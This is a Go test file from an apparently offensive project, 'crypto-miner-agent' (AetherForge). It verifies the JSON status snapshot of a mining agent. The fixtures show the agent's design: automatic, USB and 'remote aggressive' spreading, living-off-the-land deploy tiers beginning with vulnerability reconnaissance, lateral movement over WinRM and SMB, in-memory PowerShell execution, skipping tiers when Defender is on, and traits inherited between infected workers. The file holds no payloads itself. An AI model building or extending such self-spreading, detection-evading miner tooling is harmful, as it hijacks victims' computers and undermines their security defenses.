Files
AetherForge/agent/client/ai_snapshot_test.go
AetherForge d9f36f182c
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add phenotype cloning, failure atlas, AI court session, and clearance L0-L4
2026-06-07 02:41:54 -07:00

201 lines
5.7 KiB
Go

package client
import (
"encoding/json"
"os"
"testing"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
"crypto-miner-agent/miner"
)
func TestAISnapshotJSONShape(t *testing.T) {
t.Setenv("AETHERFORGE_WORKER_NUMBER", "42")
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
WorkerName: "lab-node",
BuildID: "build-abc",
LotlOnionEnabled: true,
AutoSpread: true,
USBSpread: true,
RemoteAggressive: true,
GPUEnabled: true,
LotlOnionTiers: append([]string(nil), deploy.DefaultLotlOnionTiers...),
},
AgentID: "agent-fixture-1",
}
base := newTestClient(t)
c := &AgentClient{
cfg: cfg,
agentID: cfg.AgentID,
reporter: base.reporter,
pool: base.pool,
}
snap := c.buildAISnapshot(0)
raw, err := json.Marshal(snap)
if err != nil {
t.Fatal(err)
}
var m map[string]json.RawMessage
if err := json.Unmarshal(raw, &m); err != nil {
t.Fatal(err)
}
required := []string{
"generated_at", "agent_name", "agent_id", "worker_number",
"build_id", "version", "platform", "forge_flags",
"deploy_tiers", "mining_tiers", "mining_hashrate",
"mining_active", "capabilities", "stuck",
}
for _, key := range required {
if _, ok := m[key]; !ok {
t.Fatalf("missing required snapshot field %q in %s", key, string(raw))
}
}
if snap.AgentName != "lab-node" {
t.Fatalf("agent_name=%q", snap.AgentName)
}
if snap.AgentID != "agent-fixture-1" {
t.Fatalf("agent_id=%q", snap.AgentID)
}
if snap.WorkerNumber != "42" {
t.Fatalf("worker_number=%q", snap.WorkerNumber)
}
if len(snap.DeployTiers) != len(deploy.DefaultLotlOnionTiers) {
t.Fatalf("deploy_tiers len=%d want %d", len(snap.DeployTiers), len(deploy.DefaultLotlOnionTiers))
}
if snap.DeployTiers[0].Tier != "vuln_recon" {
t.Fatalf("first deploy tier=%q", snap.DeployTiers[0].Tier)
}
if len(snap.MiningTiers) == 0 {
t.Fatal("expected mining_tiers")
}
if snap.Capabilities.Platform == "" {
t.Fatal("capabilities.platform required")
}
if snap.ForgeFlags.LotlOnionEnabled != true || !snap.ForgeFlags.AutoSpread {
t.Fatalf("forge_flags=%+v", snap.ForgeFlags)
}
}
func TestAISnapshotIncludesClearancePhenotypeAtlas(t *testing.T) {
c := &AgentClient{
cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "w"}},
agentID: "a1",
reporter: newTestClient(t).reporter,
pool: newTestClient(t).pool,
clearanceLevel: 2,
atlasSkips: []AtlasSkip{
{Tier: "ps_inmemory", Condition: "defender_on", Reason: "5 failures"},
},
inheritedPhenotype: &InheritedPhenotype{
SourceAgentName: "worker-07",
TierOrder: []string{"container", "wsl"},
SpreadLane: "winrm",
},
}
snap := c.buildAISnapshot(0)
raw, err := json.Marshal(snap)
if err != nil {
t.Fatal(err)
}
var m map[string]json.RawMessage
if err := json.Unmarshal(raw, &m); err != nil {
t.Fatal(err)
}
for _, key := range []string{"clearance_level", "atlas_skips", "inherited_phenotype"} {
if _, ok := m[key]; !ok {
t.Fatalf("missing snapshot field %q in %s", key, string(raw))
}
}
if snap.ClearanceLevel != 2 {
t.Fatalf("clearance_level=%d", snap.ClearanceLevel)
}
if len(snap.AtlasSkips) != 1 || snap.AtlasSkips[0].Tier != "ps_inmemory" {
t.Fatalf("atlas_skips=%+v", snap.AtlasSkips)
}
if snap.InheritedPhenotype == nil || snap.InheritedPhenotype.SourceAgentName != "worker-07" {
t.Fatalf("inherited_phenotype=%+v", snap.InheritedPhenotype)
}
}
func TestAISnapshotStuckWhenChainExhausted(t *testing.T) {
snap := AISnapshot{
MiningHashrate: 0,
MiningTiers: []AITierStatus{
{Tier: "cpu_inprocess", Attempted: true, OK: false},
},
}
ms := miner.MiningStatus{ChainExhausted: true}
if !aiSnapshotStuck(snap, ms) {
t.Fatal("expected stuck when chain exhausted and hashrate=0")
}
snap.MiningHashrate = 10
if aiSnapshotStuck(snap, ms) {
t.Fatal("expected not stuck when hashrate>0")
}
}
func TestBuildDeployTierStatusesFromAttempts(t *testing.T) {
attempts := []miner.TierAttempt{
{Phase: "deploy", Tier: "docker", OK: true, DurationMs: 120},
{Phase: "deploy", Tier: "wsl", OK: false, Error: "no distro", DurationMs: 50},
}
order := []string{"docker", "wsl", "smb"}
got := buildDeployTierStatuses(order, attempts)
if !got[0].Attempted || !got[0].OK || got[0].DurationMs != 120 {
t.Fatalf("docker status=%+v", got[0])
}
if !got[1].Attempted || got[1].OK || got[1].Error != "no distro" {
t.Fatalf("wsl status=%+v", got[1])
}
if got[2].Attempted {
t.Fatalf("smb should be unattempted: %+v", got[2])
}
}
func TestBuildMiningTierStatusesMarksSkipped(t *testing.T) {
chain := []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess}
skipped := []miner.LOTLTier{miner.TierWSL}
attempts := []miner.TierAttempt{
{Phase: "mining", Tier: miner.TierContainer, OK: false, Error: "pull failed"},
}
got := buildMiningTierStatuses(chain, skipped, attempts)
byTier := map[string]AITierStatus{}
for _, st := range got {
byTier[st.Tier] = st
}
if !byTier["container"].Attempted || byTier["container"].OK {
t.Fatalf("container=%+v", byTier["container"])
}
if !byTier["wsl"].Skipped {
t.Fatalf("wsl should be skipped: %+v", byTier["wsl"])
}
}
func TestWorkerNumberOmitemptyWithoutConfig(t *testing.T) {
os.Unsetenv("AETHERFORGE_WORKER_NUMBER")
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "w"}}
c := &AgentClient{cfg: cfg, agentID: "a1", reporter: newTestClient(t).reporter, pool: newTestClient(t).pool}
snap := c.buildAISnapshot(0)
raw, _ := json.Marshal(snap)
if string(raw) == "" {
t.Fatal("empty json")
}
var m map[string]interface{}
_ = json.Unmarshal(raw, &m)
if _, ok := m["worker_number"]; ok {
t.Fatalf("worker_number should be omitted, got %v", m["worker_number"])
}
}